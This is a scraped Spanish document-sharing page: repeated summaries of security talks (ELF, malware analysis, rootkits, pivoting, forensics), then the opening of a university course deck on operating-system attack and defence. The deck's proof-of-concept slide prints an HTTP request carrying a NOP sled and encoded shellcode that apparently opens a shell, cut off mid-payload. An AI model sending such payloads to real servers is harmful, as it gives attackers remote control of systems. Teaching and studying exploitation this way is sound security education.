Este documento presenta un temario sobre seguridad en sistemas operativos. Incluye una introducción al sistema operativo GNU/Linux, con una breve descripción de procesos, formato de archivos ELF, permisos y privilegios, y memoria virtual. También cubre ataques a archivos ejecutables, desbordamientos de pila y enteros, y seguridad física. El autor es Jacobo Avariento Gimeno.
Este documento describe el formato de archivo ELF (Executable and Linking Format) utilizado comúnmente en sistemas tipo Unix como Linux. Explica las estructuras y segmentos de ELF, así como técnicas de hacking y seguridad relacionadas con ELF, incluyendo infección de malware, análisis de vulnerabilidades, firmas digitales y más. Finalmente, concluye que ELF es un formato complejo con valores que podrían ser modificados para violar la especificación.
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]RootedCON
Se mostrara como analizar malware altamente ofuscado con tecnicas avanzadas como es la implementacion de una maquina virtual para evitar mostrar el codigo real.
El objetivo es descifrar todos y cada uno de los componentes de este malware obteniendo el codigo original antes de pasar por su VM.
Para ello se ha creado distintas herramientas que facilitan esta tarea, veremos como fueron implementandose.
Por ultimo analizaremos el payload final y las tecnicas que utiliza para realizar sus implantes en distintos procesos del sistema, como es el uso de un sistema de archivos virtual (VFS), utilizado para ocultar los distintos componentes.
Pablo González - Jugando a lo Super Mario entre túneles y máquinas [rooted2018]RootedCON
Este documento presenta una introducción al pivoting, que es una técnica utilizada en pentesting para acceder a sistemas que no son directamente accesibles. Explica cómo establecer túneles SSH y usar port forwarding para conectarse a través de máquinas intermedias y evadir detecciones. También cubre el uso de portproxy en Windows y cómo integrar estas técnicas en Metasploit.
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]RootedCON
Taller introductorio a la explotación de software GNU/Linux. Se explicarán diversos tipos de vulnerabilidades (corrupciones de memoria, fugas de información, condiciones de carrera, etc...) siguiendo metodologías actuales del desarrollo de exploits donde se sortearán las protecciones del sistema operativo.
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]RootedCON
El documento describe el enfoque LNX IRTool para la adquisición de evidencia digital forense en sistemas Linux potencialmente comprometidos. Incluye pasos de preparación como la creación de puntos de montaje, y la ejecución de scripts que realizan tareas como el dump de memoria, extracción de artefactos de sistema e información de usuarios, red y procesos, y la generación de un timeline de sistema de archivos.
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]RootedCON
Esta charla tratará de enseñar todos los conocimientos básicos para poder llevar a cabo el análisis de un programa dentro de un debugger. Para esto, se enseñará la arquitectura y el lenguaje ensamblador usados en el intel x86 de 32 bits, para después realizar un reversing de un binario para la resolución de un crackme. La teoría, así como las técnicas mostradas en esta charla, servirán a todos los oyentes como bases necesarias en el mundo del análisis de malware, así como en el mundo del exploiting. Es por tanto recomendable a todos los oyentes que quieran seguir el ejemplo que se verá, traer un ordenador portatil con windows (puede usarse una máquina virtual) ya sea de 64 o 32 bits, con el debugger OllyDBG o el debugger x64debugger instalados.
Mario Guerra - Buceando en Windows 10. Extrayendo artefactos forenses de las ...RootedCON
RecentApps
Almacena información sobre las aplicaciones ejecutadas
recientemente por el usuario.
Cada subclave corresponde a una aplicación ejecutada.
Contiene información como:
- Nombre de la aplicación
- Timestamp de ejecución
- Path de la aplicación
- Parámetros de ejecución
- Estado de la aplicación (abierta, cerrada)
Permite determinar el orden de ejecución de aplicaciones.
No se elimina al vaciar la papelera de reciclaje
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]RootedCON
Este documento presenta osquery, una herramienta de detección de amenazas a escala que utiliza SQL para explorar sistemas operativos. Explica cómo osquery puede utilizarse para monitorizar hosts corporativos, recopilar datos de seguridad y correlacionarlos. Detalla el uso de osqueryi, osqueryd, tablas, consultas programadas, paquetes de consultas y el punto final TLS remoto para la gestión centralizada de osquery.
Este documento describe el formato de archivo ELF (Executable and Linking Format) utilizado comúnmente en sistemas tipo Unix como Linux. Explica las estructuras y segmentos de ELF, así como técnicas de hacking y seguridad relacionadas con ELF, incluyendo infección de malware, análisis de vulnerabilidades, firmas digitales y más. Finalmente, concluye que ELF es un formato complejo con valores que podrían ser modificados para violar la especificación.
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]RootedCON
Se mostrara como analizar malware altamente ofuscado con tecnicas avanzadas como es la implementacion de una maquina virtual para evitar mostrar el codigo real.
El objetivo es descifrar todos y cada uno de los componentes de este malware obteniendo el codigo original antes de pasar por su VM.
Para ello se ha creado distintas herramientas que facilitan esta tarea, veremos como fueron implementandose.
Por ultimo analizaremos el payload final y las tecnicas que utiliza para realizar sus implantes en distintos procesos del sistema, como es el uso de un sistema de archivos virtual (VFS), utilizado para ocultar los distintos componentes.
Pablo González - Jugando a lo Super Mario entre túneles y máquinas [rooted2018]RootedCON
Este documento presenta una introducción al pivoting, que es una técnica utilizada en pentesting para acceder a sistemas que no son directamente accesibles. Explica cómo establecer túneles SSH y usar port forwarding para conectarse a través de máquinas intermedias y evadir detecciones. También cubre el uso de portproxy en Windows y cómo integrar estas técnicas en Metasploit.
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]RootedCON
Taller introductorio a la explotación de software GNU/Linux. Se explicarán diversos tipos de vulnerabilidades (corrupciones de memoria, fugas de información, condiciones de carrera, etc...) siguiendo metodologías actuales del desarrollo de exploits donde se sortearán las protecciones del sistema operativo.
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]RootedCON
El documento describe el enfoque LNX IRTool para la adquisición de evidencia digital forense en sistemas Linux potencialmente comprometidos. Incluye pasos de preparación como la creación de puntos de montaje, y la ejecución de scripts que realizan tareas como el dump de memoria, extracción de artefactos de sistema e información de usuarios, red y procesos, y la generación de un timeline de sistema de archivos.
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]RootedCON
Esta charla tratará de enseñar todos los conocimientos básicos para poder llevar a cabo el análisis de un programa dentro de un debugger. Para esto, se enseñará la arquitectura y el lenguaje ensamblador usados en el intel x86 de 32 bits, para después realizar un reversing de un binario para la resolución de un crackme. La teoría, así como las técnicas mostradas en esta charla, servirán a todos los oyentes como bases necesarias en el mundo del análisis de malware, así como en el mundo del exploiting. Es por tanto recomendable a todos los oyentes que quieran seguir el ejemplo que se verá, traer un ordenador portatil con windows (puede usarse una máquina virtual) ya sea de 64 o 32 bits, con el debugger OllyDBG o el debugger x64debugger instalados.
Mario Guerra - Buceando en Windows 10. Extrayendo artefactos forenses de las ...RootedCON
RecentApps
Almacena información sobre las aplicaciones ejecutadas
recientemente por el usuario.
Cada subclave corresponde a una aplicación ejecutada.
Contiene información como:
- Nombre de la aplicación
- Timestamp de ejecución
- Path de la aplicación
- Parámetros de ejecución
- Estado de la aplicación (abierta, cerrada)
Permite determinar el orden de ejecución de aplicaciones.
No se elimina al vaciar la papelera de reciclaje
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]RootedCON
Este documento presenta osquery, una herramienta de detección de amenazas a escala que utiliza SQL para explorar sistemas operativos. Explica cómo osquery puede utilizarse para monitorizar hosts corporativos, recopilar datos de seguridad y correlacionarlos. Detalla el uso de osqueryi, osqueryd, tablas, consultas programadas, paquetes de consultas y el punto final TLS remoto para la gestión centralizada de osquery.
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]RootedCON
Este documento proporciona instrucciones para crear virus informáticos y rootkits de manera ilegal. Describe métodos como el uso de SEO para propagar malware, técnicas de encriptación y mutación de código, formas de controlar botnets, esconderse en sistemas mediante rootkits, y expandir virus a otros equipos.
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...RootedCON
Este documento presenta tres resúmenes de un documento sobre ataques de homógrafos utilizando técnicas de aprendizaje profundo:
1) Se describe una herramienta llamada uriDeep que utiliza aprendizaje profundo para crear un diccionario mejorado de caracteres confusables en Unicode y facilitar ataques de homógrafos.
2) Se muestran ejemplos de dominios reales en España que podrían estar sujetos a ataques de homógrafos utilizando caracteres confusables, incluidos dominios de empresas del IBEX 35
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]RootedCON
Este documento presenta una introducción a los rootkits y sus tendencias a lo largo de los años, incluyendo técnicas como modificar binarios del sistema, inyección de código en el kernel y en ejecución, y eludir detección. También describe herramientas como Unhide y UnhideNX para detectar rootkits ocultando procesos o archivos mediante la comparación de datos de diferentes fuentes. Además, propone contramedidas como preload, kernel.yama.ptrace_scope, y PydeAPI para auditar la integridad del sistema y detectar in
Este documento presenta una introducción a la gestión remota de equipos con Python. Explica brevemente quién es el autor y su experiencia. Luego proporciona una introducción al lenguaje de programación Python, incluida su filosofía, influencias y cronología. Finalmente, discute cómo Python se puede aplicar a redes, permitiendo la configuración remota de equipos de manera más rápida que mediante línea de comandos o SNMP.
Este documento presenta los temas a desarrollar en un curso introductorio de Linux para sistemas operativos en la Universidad Tecnológica Nacional Facultad Regional Tucumán. Los temas incluyen la instalación de una máquina virtual, inicio de sesión en Linux, estructura de archivos, editor de texto VIM, compilación de programas en C, configuración de red e IP, cliente SSH y conceptos de FTP.
El documento proporciona instrucciones sobre cómo usar Metasploit, una herramienta popular para pentesting. Explica cómo escanear vulnerabilidades, identificar exploits compatibles y ejecutarlos utilizando comandos como use, set LHOST, y set payload. También incluye una actividad final que implica grabar videos accediendo sistemas Windows y completar niveles en una plataforma de entrenamiento, entregando videos e informes.
Este documento presenta un curso sobre hacking ético con Kali Linux. Describe al instructor Alonso Eduardo Caballero Quezada y su experiencia. El temario incluye una introducción a Kali Linux, metodología de pruebas de penetración, máquinas virtuales vulnerables, capturar información, enumerar objetivos y explotar vulnerabilidades. También se proporciona información sobre la descarga e instalación de Kali Linux y máquinas virtuales vulnerables como Metasploitable para practicar técnicas de hacking ético.
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]RootedCON
El documento describe varias evidencias forenses extraíbles de un sistema Mac OS X, incluyendo: (1) El Apple System Log (ASL) que registra eventos del sistema en formato binario u texto plano; (2) El archivo UTMPX que registra inicios de sesión; y (3) El Basic Security Module (BSM) que audita acciones a nivel de núcleo. Estas evidencias pueden proporcionar información sobre actividad del sistema, usuarios y posible malware.
El documento habla sobre la instalación y administración de Linux. Explica los pasos para instalar el sistema operativo, incluyendo la configuración inicial, particionamiento del disco, instalación de paquetes y configuración de archivos. También cubre temas como agregar y quitar programas, administrar usuarios y tareas programadas.
Este documento trata sobre seguridad y hacking en Linux. Explica conceptos clave de seguridad como proteger software, hardware y datos. Luego detalla métodos comunes de seguridad en Linux como definir servicios necesarios, usar herramientas de bastionado, antivirus, proxy, firewall e IDS. Finalmente, cubre temas de hacking en Linux como obtener información de un sistema mediante herramientas y explotar vulnerabilidades para elevar privilegios.
Es evidente que cada vez es más necesario colocar una central Elastix expuesta a Internet por diversas exigencias del mercado, Anexos remotos o extendidos, centrales virtuales, Cloud Computing, etc. Esto trae como consecuencias estar expuestos a varios riesgos en cuanto a la seguridad. La charla expondrá, cómo es posible extender la seguridad en una implementación en Elastix usando SNORT como sistema de detección y prevención de intrusos, para el control y bloqueo de ataques tanto a nivel SIP como de aplicaciones web, los cuales se enfocan en vulnerar la seguridad de la plataforma. La charla es completamente técnica y se desarrollaran ataques contra maquinas virtuales, con el objetivo de mostrar su bloqueo con snort.
Conferencista: Juan Oliva
David López Paz - Global Warfare [RootedCON 2011]RootedCON
Este documento describe el uso de Internet como un medio de guerra y conflictos cibernéticos. Explica cómo ataques como Stuxnet y GhostNet han explotado vulnerabilidades en sistemas de Windows, bases de datos y software de servidor para extraer inteligencia o causar daños. También presenta una herramienta llamada Hookle que ha escaneado más de 14 millones de hosts en Internet para identificar sistemas vulnerables como impresoras, cámaras web, servidores IIS y JBoss que podrían ser objetivos de ataques ciberné
El documento describe a Nikto, un escáner de vulnerabilidades de servidores web de código abierto. Explica que Nikto prueba servidores web para miles de vulnerabilidades y problemas conocidos escaneando más de 6,500 archivos y versiones de software no actualizadas. También describe cómo instalar Nikto en sistemas Ubuntu, Windows y Kali Linux, y proporciona un ejemplo de comando para ejecutar un escaneo básico y obtener ayuda sobre opciones.
Este documento provee una introducción a las tecnologías de túneles y VPN libres. Explica conceptos como encriptación, autenticación, túneles y VPN. Luego describe implementaciones populares de túneles como ssh, stunnel y zebedee, así como la VPN OpenVPN. Finalmente, advierte sobre consideraciones de seguridad al usar túneles y VPN, como aplicar reglas de firewall y restringir el acceso.
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]RootedCON
Este documento presenta una guía sobre seguridad en entornos web. Explica conceptos como vulnerabilidades comunes como XSS, SQL Injection y referencias inseguras. Detalla buenas prácticas como filtrar adecuadamente los datos del usuario y usar versiones actualizadas de software. También recomienda herramientas para pruebas de vulnerabilidades y sitios para practicar. El objetivo es crear conciencia sobre seguridad entre desarrolladores web.
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]RootedCON
Este documento presenta la herramienta FuckWall, la cual permite evadir los firewalls de Windows. Aprovecha que muchos firewalls permiten comunicación sin restricciones para el proceso svchost.exe. FuckWall usa la tecnología WebDAV implementada a través de svchost.exe para establecer comunicación con un servidor y así evadir el control del firewall sobre el tráfico de salida. Ofrece funcionalidades como captura de teclado y control remoto de un sistema a través de la captura de pantalla y ejecución de comandos. Se
Diferentes tipos de socket y slot para conectar el procesador a la placa basefabio guevara
El documento describe los diferentes tipos de sockets y slots que han existido para conectar el procesador a la placa base, incluyendo Socket 1, Socket 2, Socket 3, Socket 4, Socket 5, Socket 7, Socket 8, Slot 1, Socket 370, Socket 423, Socket 478, Socket 604, Socket 775, Socket Super 7, Slot A, Socket A, Socket 754, Socket 940, Socket 939 y Socket AM2. Explica las características clave de cada uno como el número de pines, voltaje, frecuencia soportada y los procesadores compatibles.
El documento describe cómo configurar un firewall básico y NAT con iptables en Linux. Para el firewall básico, el script elimina reglas existentes, establece políticas de entrada, salida y enrutamiento como DROP, y agrega reglas para permitir conexiones establecidas y relacionadas mientras bloquea ping y ataques DoS. Para NAT, el script habilita enrutamiento, elimina reglas, establece políticas de entrada, salida y NAT como ACCEPT, y agrega reglas para aceptar tráfico de loopback, la LAN, y masquerade para la
El documento resume diferentes técnicas de ataque y defensa en sistemas operativos, incluyendo return-into-libc, vulnerabilidades de formateo de cadena, y la técnica off-by-one. Explica cómo estas técnicas como return-into-libc permiten la ejecución de código sin necesidad de shellcode en pilas no ejecutables, y cómo las vulnerabilidades de formateo de cadena pueden ser explotadas para controlar la pila y el flujo del programa. También advierte sobre los errores off-by-one que pueden ocurrir al
Este documento describe una técnica llamada "Shellcode ELF loader" para ejecutar programas de forma encubierta en un sistema comprometido sin dejar evidencias. La técnica utiliza un objeto llamado "lxobject" que contiene el código binario a ejecutar, el contexto de la pila y un cargador de shellcode. Una herramienta llamada "Builder" ensambla el lxobject y la shellcode "Jumper" lo transfiere y activa en la máquina remota simulando un "userland execve". Esto permite ej
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]RootedCON
Este documento proporciona instrucciones para crear virus informáticos y rootkits de manera ilegal. Describe métodos como el uso de SEO para propagar malware, técnicas de encriptación y mutación de código, formas de controlar botnets, esconderse en sistemas mediante rootkits, y expandir virus a otros equipos.
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...RootedCON
Este documento presenta tres resúmenes de un documento sobre ataques de homógrafos utilizando técnicas de aprendizaje profundo:
1) Se describe una herramienta llamada uriDeep que utiliza aprendizaje profundo para crear un diccionario mejorado de caracteres confusables en Unicode y facilitar ataques de homógrafos.
2) Se muestran ejemplos de dominios reales en España que podrían estar sujetos a ataques de homógrafos utilizando caracteres confusables, incluidos dominios de empresas del IBEX 35
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]RootedCON
Este documento presenta una introducción a los rootkits y sus tendencias a lo largo de los años, incluyendo técnicas como modificar binarios del sistema, inyección de código en el kernel y en ejecución, y eludir detección. También describe herramientas como Unhide y UnhideNX para detectar rootkits ocultando procesos o archivos mediante la comparación de datos de diferentes fuentes. Además, propone contramedidas como preload, kernel.yama.ptrace_scope, y PydeAPI para auditar la integridad del sistema y detectar in
Este documento presenta una introducción a la gestión remota de equipos con Python. Explica brevemente quién es el autor y su experiencia. Luego proporciona una introducción al lenguaje de programación Python, incluida su filosofía, influencias y cronología. Finalmente, discute cómo Python se puede aplicar a redes, permitiendo la configuración remota de equipos de manera más rápida que mediante línea de comandos o SNMP.
Este documento presenta los temas a desarrollar en un curso introductorio de Linux para sistemas operativos en la Universidad Tecnológica Nacional Facultad Regional Tucumán. Los temas incluyen la instalación de una máquina virtual, inicio de sesión en Linux, estructura de archivos, editor de texto VIM, compilación de programas en C, configuración de red e IP, cliente SSH y conceptos de FTP.
El documento proporciona instrucciones sobre cómo usar Metasploit, una herramienta popular para pentesting. Explica cómo escanear vulnerabilidades, identificar exploits compatibles y ejecutarlos utilizando comandos como use, set LHOST, y set payload. También incluye una actividad final que implica grabar videos accediendo sistemas Windows y completar niveles en una plataforma de entrenamiento, entregando videos e informes.
Este documento presenta un curso sobre hacking ético con Kali Linux. Describe al instructor Alonso Eduardo Caballero Quezada y su experiencia. El temario incluye una introducción a Kali Linux, metodología de pruebas de penetración, máquinas virtuales vulnerables, capturar información, enumerar objetivos y explotar vulnerabilidades. También se proporciona información sobre la descarga e instalación de Kali Linux y máquinas virtuales vulnerables como Metasploitable para practicar técnicas de hacking ético.
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]RootedCON
El documento describe varias evidencias forenses extraíbles de un sistema Mac OS X, incluyendo: (1) El Apple System Log (ASL) que registra eventos del sistema en formato binario u texto plano; (2) El archivo UTMPX que registra inicios de sesión; y (3) El Basic Security Module (BSM) que audita acciones a nivel de núcleo. Estas evidencias pueden proporcionar información sobre actividad del sistema, usuarios y posible malware.
El documento habla sobre la instalación y administración de Linux. Explica los pasos para instalar el sistema operativo, incluyendo la configuración inicial, particionamiento del disco, instalación de paquetes y configuración de archivos. También cubre temas como agregar y quitar programas, administrar usuarios y tareas programadas.
Este documento trata sobre seguridad y hacking en Linux. Explica conceptos clave de seguridad como proteger software, hardware y datos. Luego detalla métodos comunes de seguridad en Linux como definir servicios necesarios, usar herramientas de bastionado, antivirus, proxy, firewall e IDS. Finalmente, cubre temas de hacking en Linux como obtener información de un sistema mediante herramientas y explotar vulnerabilidades para elevar privilegios.
Es evidente que cada vez es más necesario colocar una central Elastix expuesta a Internet por diversas exigencias del mercado, Anexos remotos o extendidos, centrales virtuales, Cloud Computing, etc. Esto trae como consecuencias estar expuestos a varios riesgos en cuanto a la seguridad. La charla expondrá, cómo es posible extender la seguridad en una implementación en Elastix usando SNORT como sistema de detección y prevención de intrusos, para el control y bloqueo de ataques tanto a nivel SIP como de aplicaciones web, los cuales se enfocan en vulnerar la seguridad de la plataforma. La charla es completamente técnica y se desarrollaran ataques contra maquinas virtuales, con el objetivo de mostrar su bloqueo con snort.
Conferencista: Juan Oliva
David López Paz - Global Warfare [RootedCON 2011]RootedCON
Este documento describe el uso de Internet como un medio de guerra y conflictos cibernéticos. Explica cómo ataques como Stuxnet y GhostNet han explotado vulnerabilidades en sistemas de Windows, bases de datos y software de servidor para extraer inteligencia o causar daños. También presenta una herramienta llamada Hookle que ha escaneado más de 14 millones de hosts en Internet para identificar sistemas vulnerables como impresoras, cámaras web, servidores IIS y JBoss que podrían ser objetivos de ataques ciberné
El documento describe a Nikto, un escáner de vulnerabilidades de servidores web de código abierto. Explica que Nikto prueba servidores web para miles de vulnerabilidades y problemas conocidos escaneando más de 6,500 archivos y versiones de software no actualizadas. También describe cómo instalar Nikto en sistemas Ubuntu, Windows y Kali Linux, y proporciona un ejemplo de comando para ejecutar un escaneo básico y obtener ayuda sobre opciones.
Este documento provee una introducción a las tecnologías de túneles y VPN libres. Explica conceptos como encriptación, autenticación, túneles y VPN. Luego describe implementaciones populares de túneles como ssh, stunnel y zebedee, así como la VPN OpenVPN. Finalmente, advierte sobre consideraciones de seguridad al usar túneles y VPN, como aplicar reglas de firewall y restringir el acceso.
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]RootedCON
Este documento presenta una guía sobre seguridad en entornos web. Explica conceptos como vulnerabilidades comunes como XSS, SQL Injection y referencias inseguras. Detalla buenas prácticas como filtrar adecuadamente los datos del usuario y usar versiones actualizadas de software. También recomienda herramientas para pruebas de vulnerabilidades y sitios para practicar. El objetivo es crear conciencia sobre seguridad entre desarrolladores web.
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]RootedCON
Este documento presenta la herramienta FuckWall, la cual permite evadir los firewalls de Windows. Aprovecha que muchos firewalls permiten comunicación sin restricciones para el proceso svchost.exe. FuckWall usa la tecnología WebDAV implementada a través de svchost.exe para establecer comunicación con un servidor y así evadir el control del firewall sobre el tráfico de salida. Ofrece funcionalidades como captura de teclado y control remoto de un sistema a través de la captura de pantalla y ejecución de comandos. Se
Diferentes tipos de socket y slot para conectar el procesador a la placa basefabio guevara
El documento describe los diferentes tipos de sockets y slots que han existido para conectar el procesador a la placa base, incluyendo Socket 1, Socket 2, Socket 3, Socket 4, Socket 5, Socket 7, Socket 8, Slot 1, Socket 370, Socket 423, Socket 478, Socket 604, Socket 775, Socket Super 7, Slot A, Socket A, Socket 754, Socket 940, Socket 939 y Socket AM2. Explica las características clave de cada uno como el número de pines, voltaje, frecuencia soportada y los procesadores compatibles.
El documento describe cómo configurar un firewall básico y NAT con iptables en Linux. Para el firewall básico, el script elimina reglas existentes, establece políticas de entrada, salida y enrutamiento como DROP, y agrega reglas para permitir conexiones establecidas y relacionadas mientras bloquea ping y ataques DoS. Para NAT, el script habilita enrutamiento, elimina reglas, establece políticas de entrada, salida y NAT como ACCEPT, y agrega reglas para aceptar tráfico de loopback, la LAN, y masquerade para la
El documento resume diferentes técnicas de ataque y defensa en sistemas operativos, incluyendo return-into-libc, vulnerabilidades de formateo de cadena, y la técnica off-by-one. Explica cómo estas técnicas como return-into-libc permiten la ejecución de código sin necesidad de shellcode en pilas no ejecutables, y cómo las vulnerabilidades de formateo de cadena pueden ser explotadas para controlar la pila y el flujo del programa. También advierte sobre los errores off-by-one que pueden ocurrir al
Este documento describe una técnica llamada "Shellcode ELF loader" para ejecutar programas de forma encubierta en un sistema comprometido sin dejar evidencias. La técnica utiliza un objeto llamado "lxobject" que contiene el código binario a ejecutar, el contexto de la pila y un cargador de shellcode. Una herramienta llamada "Builder" ensambla el lxobject y la shellcode "Jumper" lo transfiere y activa en la máquina remota simulando un "userland execve". Esto permite ej
Linux Kernel - System Calls - Modules - DriversMartin Baez
Este documento resume los conceptos clave de los sistemas operativos, incluyendo: 1) El kernel, system calls y módulos; 2) Cómo las system calls permiten a los procesos de usuario acceder a funciones del kernel; 3) Los módulos extienden la funcionalidad del kernel sin necesidad de recompilarlo. También explica los dispositivos y cómo los controlan los drivers implementados como módulos del kernel.
El documento describe varias técnicas para bypass UAC en Windows, incluyendo el uso de OphCrack y Sethc/magnify para obtener contraseñas de administrador, ataques MITM aprovechando autenticación Kerberos, y el uso de Metasploit y payloads de Meterpreter. También discute conceptos como vulnerabilidades 0-day, exploits, y proteger contra ataques como ARP spoofing.
Este documento presenta una introducción al análisis de malware. Explica conceptos clave como ensamblador, debuggers, desensambladores, la estructura de archivos ejecutables, y técnicas de protección como crypters y packers. Luego, realiza un análisis estático y dinámico de una muestra de malware Trickbot, un troyano bancario, para demostrar técnicas de análisis. Finalmente, proporciona una lista de herramientas y recursos útiles para el análisis de malware.
El documento describe la instalación y configuración de servidores bajo el sistema operativo GNU/Linux. Explica los requisitos mínimos de hardware, el proceso de instalación incluyendo particiones del disco duro, configuración de cuentas de usuario y servicios de red. También cubre temas como la administración de usuarios, seguridad, navegación por el sistema de archivos y manipulación básica de archivos.
Este documento habla sobre la construcción de rootkits básicos. Explica qué es un rootkit, los tipos comunes, y funciones como esconder procesos y archivos. Luego cubre consideraciones para desarrollo en kernel vs espacio de usuario, y ejemplos como módulos "Hello World" y manejo de parámetros. Por último, aborda temas avanzados como trabajar con la estructura de tareas, esconder el módulo cargado, y técnicas de hijacking como la tabla de syscalls y VFS.
Extendiendo la Seguridad de Elastix con SnortJuan Oliva
Este documento describe cómo extender la seguridad de Elastix usando Snort. Snort es un sistema de detección y prevención de intrusos flexible que puede usarse para monitorear el tráfico de red entrante y saliente, detectar ataques comunes dirigidos a Elastix como enumeraciones de contraseñas SIP y vulnerabilidades web, y prevenir ataques de denegación de servicio. El documento explica cómo configurar Snort en modo IDS pasivo o IPS activo, integrarlo con iptables y almacenar alertas en una base de datos para
El documento define y explica los conceptos básicos de un sistema operativo, incluyendo su definición, funciones, generaciones históricas, componentes y conceptos clave desde las perspectivas de usuario, programador e implementador. Explica que un sistema operativo es un software que gestiona los recursos del hardware y proporciona servicios a los programas de usuario, y describe brevemente sus funciones principales como la gestión de procesos, memoria, entrada/salida y la interfaz con el usuario.
Este documento describe el uso del virus troyano Optix Pro 1.3 para tomar el control remoto de una computadora infectada. Explica cómo configurar el troyano utilizando el software Builder para establecer una contraseña, puerto y archivo ejecutable de servidor oculto. Luego, el software Cliente permite al atacante ver y controlar la pantalla de la víctima, robar contraseñas y ejecutar comandos de forma remota como apagar el sistema o formatear el disco duro. El documento advierte sobre la importancia de mantener actualiz
Este documento describe dos vulnerabilidades de software importantes: Heartbleed y Shellshock. Heartbleed era un error en la biblioteca OpenSSL que permitía robar información confidencial de servidores afectados. Shellshock era un error en el intérprete de comandos Bash que permitía ejecutar código malicioso en sistemas que usaban Bash. El documento explica cómo funcionaban estas vulnerabilidades y cómo podrían ser explotadas, incluyendo pasos para detectar sistemas vulnerables y tomar el control de ellos.
Este documento anuncia un webinar gratuito sobre análisis forense a sistemas GNU/Linux dictado por Alonso Eduardo Caballero Quezada. El webinar cubrirá temas como la estructura de los sistemas de archivos ext2 y ext3, el funcionamiento de la memoria de intercambio, y procesos como encontrar firmas del sistema de archivos, localizar archivos borrados, y analizar el espacio swap. El webinar se llevará a cabo el 4 de junio de 2015.
Este documento proporciona información sobre cómo crear drivers para Linux. Explica que primero se debe aprender programación en lenguajes como C, y luego descargar el manual LDDK que contiene documentación, código fuente del kernel Linux y el libro "Linux Device Drivers". También incluye enlaces para aprender inglés, que es útil para trabajar con la documentación.
Este documento presenta un resumen del curso básico de GNU/Linux de la Universidad Veracruzana. Explica conceptos clave como hardware, firmware, software de código abierto y propietario. Describe brevemente la historia y desarrollo de Linux y GNU. También cubre temas como distribuciones de Linux, requisitos de instalación e introducciones a interfaces gráficas y redes.
Este documento presenta una introducción al curso básico de GNU/Linux de la Universidad Veracruzana. Explica conceptos clave como hardware, firmware, software de código abierto y propietario. Describe brevemente la historia y componentes de GNU/Linux, incluyendo el kernel Linux y las herramientas GNU. También resume los requisitos técnicos mínimos, el proceso de instalación y configuración básica, y las consideraciones de red e inicio de sesión para la distribución Ubuntu GNU/Linux que se utilizará en el curso.
Opensolaris es una versión de código abierto del sistema operativo UNIX desarrollado originalmente por Sun Microsystems. Utiliza el núcleo Solaris y ofrece características destacadas como ZFS, zonas, DTrace y SMF. La comunidad continúa desarrollando y mejorando Opensolaris a través de repositorios y paquetes para proporcionar una alternativa de código abierto al sistema operativo UNIX.
Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)codesiret
Los protocolos son conjuntos de
normas para formatos de mensaje y
procedimientos que permiten a las
máquinas y los programas de aplicación
intercambiar información.
El uso de las TIC en la vida cotidiana.pptxjgvanessa23
En esta presentación, he compartido información sobre las Tecnologías de la Información y la Comunicación (TIC) y su aplicación en diversos ámbitos de la vida cotidiana, como el hogar, la educación y el trabajo.
He explicado qué son las TIC, las diferentes categorías y sus respectivos ejemplos, así como los beneficios y aplicaciones en cada uno de estos ámbitos.
Espero que esta información sea útil para quienes la lean y les ayude a comprender mejor las TIC y su impacto en nuestra vida cotidiana.
Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)AbrahamCastillo42
Power point, diseñado por estudiantes de ciclo 1 arquitectura de plataformas, esta con la finalidad de dar a conocer el componente hardware llamado tarjeta de video..
La inteligencia artificial sigue evolucionando rápidamente, prometiendo transformar múltiples aspectos de la sociedad mientras plantea importantes cuestiones que requieren una cuidadosa consideración y regulación.
trabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdk
Seguridad so pi_2011
1. Seguridad en Sistemas Operativos
Ataque y Defensa
Jacobo Avariento Gimeno
jacobo@sofistic.net
15 de junio de 2011
Universitat Jaume I
2.
3. 1 Intro
2 Breve repaso al S.O. GNU/Linux
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
3 Ataques a ficheros ejecutables
Llamadas al sistema
Accediendo a la memoria
4 Desbordamientos de pila
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
5 Desbordamientos de enteros
6 Seguridad f´ısica
4. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Vulnerabilidad, Exploit, POC
echo -ne "GET /kung/ldap://localhost/‘perl -e ’print "%90"x128’‘%89%e6
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76
